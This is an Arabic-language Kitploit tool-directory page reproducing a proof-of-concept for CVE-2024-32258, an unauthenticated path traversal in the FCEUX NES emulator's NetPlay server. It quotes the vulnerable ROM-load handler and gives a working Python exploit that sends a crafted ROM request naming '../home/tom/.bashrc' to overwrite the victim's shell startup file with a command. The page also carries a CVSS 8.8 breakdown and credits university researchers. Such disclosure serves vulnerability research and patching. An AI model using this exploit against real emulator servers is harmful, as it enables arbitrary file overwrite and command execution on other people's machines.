Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-32258 — كود برهان المفهوم لثغرة CVE-2024-32258، وهي ثغرة اجتياز المسار في FCEUX NetPlay 2.7.0 تتيح إمكانية الكتابة التعسفية عن بُعد للملفات دون مصادقة عبر طلبات ROM مصممة خصيصًا. | Kitploit
أدوات/GitHubGitHub/secnotes/cve-2024-32258
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليم
GitHubsecnotes/cve-2024-32258

CVE-2024-32258

كود برهان المفهوم لثغرة CVE-2024-32258، وهي ثغرة اجتياز المسار في FCEUX NetPlay 2.7.0 تتيح إمكانية الكتابة التعسفية عن بُعد للملفات دون مصادقة عبر طلبات ROM مصممة خصيصًا.

عرض المستودع
3منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

نظرة عامة

  • معرف الثغرة (CVE): CVE-2024-32258
  • النوع: تجاوز المسار (Path Traversal)
  • المُورِّد: FCEUX
  • المنتجات: FCEUX_NetPlay
  • الإصدار: 2.7.0
  • الإصلاح: 48b48e7c13be1b949074f42660a33c7ef57135e1

الوصف

FCEUX هو محاكي NES يمكنه أن يعيدنا إلى طفولتنا. يوفر العديد من الميزات الشيقة، مثل قدرة لاعبين على لعب الألعاب عبر الإنترنت.

يمكن للخادم والعميل تمرير ملفات ROM لبعضهما البعض، لكن الخادم لا يقوم بتصفية الأحرف الخاصة في أسماء ROM التي يرسلها العميل. يمكن أن تتسبب ثغرة تجاوز المسار هذه في إمكانية استبدال أي ملف على الخادم. والأكثر خطورة هو أن التحميل عن بُعد لملفات ROM لا يتطلب مصادقة، حتى لو كانت إعدادات الخادم تتطلب كلمة مرور لتسجيل الدخول.

تم تقديمها خلال الالتزام 798c5a1d9c73b899cdbe3d613c0022588281979f - بالنسبة لـ NetPlay، تمت إضافة القدرة للعميل على طلب تحميل ROM.

root@kitploit:~
if (acceptRomLoadReq)
{
    FILE *fp;
    std::string filepath = QDir::tempPath().toLocal8Bit().constData(); 
    const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];

    filepath.append( "/" );
    filepath.append( msg->fileName );

    printf("Load ROM Request Received: %s\n", filepath.c_str());

    //printf("Dumping Temp Rom to: %s\n", filepath.c_str());
    fp = ::fopen( filepath.c_str(), "w");

    if (fp == nullptr)
    {
        return;
    }
    ::fwrite( romData, 1, msgSize, fp );
    ::fclose(fp);

    FCEU_WRAPPER_LOCK();
    LoadGame( filepath.c_str(), true, true );
    FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
    FCEU_WRAPPER_UNLOCK();

    resyncAllClients();
}

كلا msf->fileName و fp يتم تحديدهما بواسطة المهاجم.

إثبات المفهوم (PoC)

يمكنك الحصول على fceux من خلال تجميع الكود المصدري، أو يمكنك استخدام الثنائي المُجمَّع لدينا مباشرة. fceux.zip

PoC

root@kitploit:~
import socket
import binascii

client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))

header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100

client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)

packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)

استمتع! 😄

https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d

درجة الخطورة

عالي 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

المؤلف

Yansong Li و Yijie Xun (جامعة نورث وسترن بوليتكنيك)

تنزيل الأداة
CVSS3.1الدرجةالتفاصيل
ناقل الهجومشبكةإطلاق الهجوم عبر الشبكة
تعقيد الهجوممنخفضمجرد إرسال رسالتين
الصلاحيات المطلوبةلا شيءلا تتطلب أية أذونات لإرسال حزمة الهجوم
تفاعل المستخدممطلوبالنقر على زر التأكيد لتحميل ROM.
النطاقبدون تغييرغير قابل للتطبيق
السريةعالياستبدال ملف عشوائي
السلامةعالياستبدال ملف عشوائي
التوفرعالياستبدال ملف عشوائي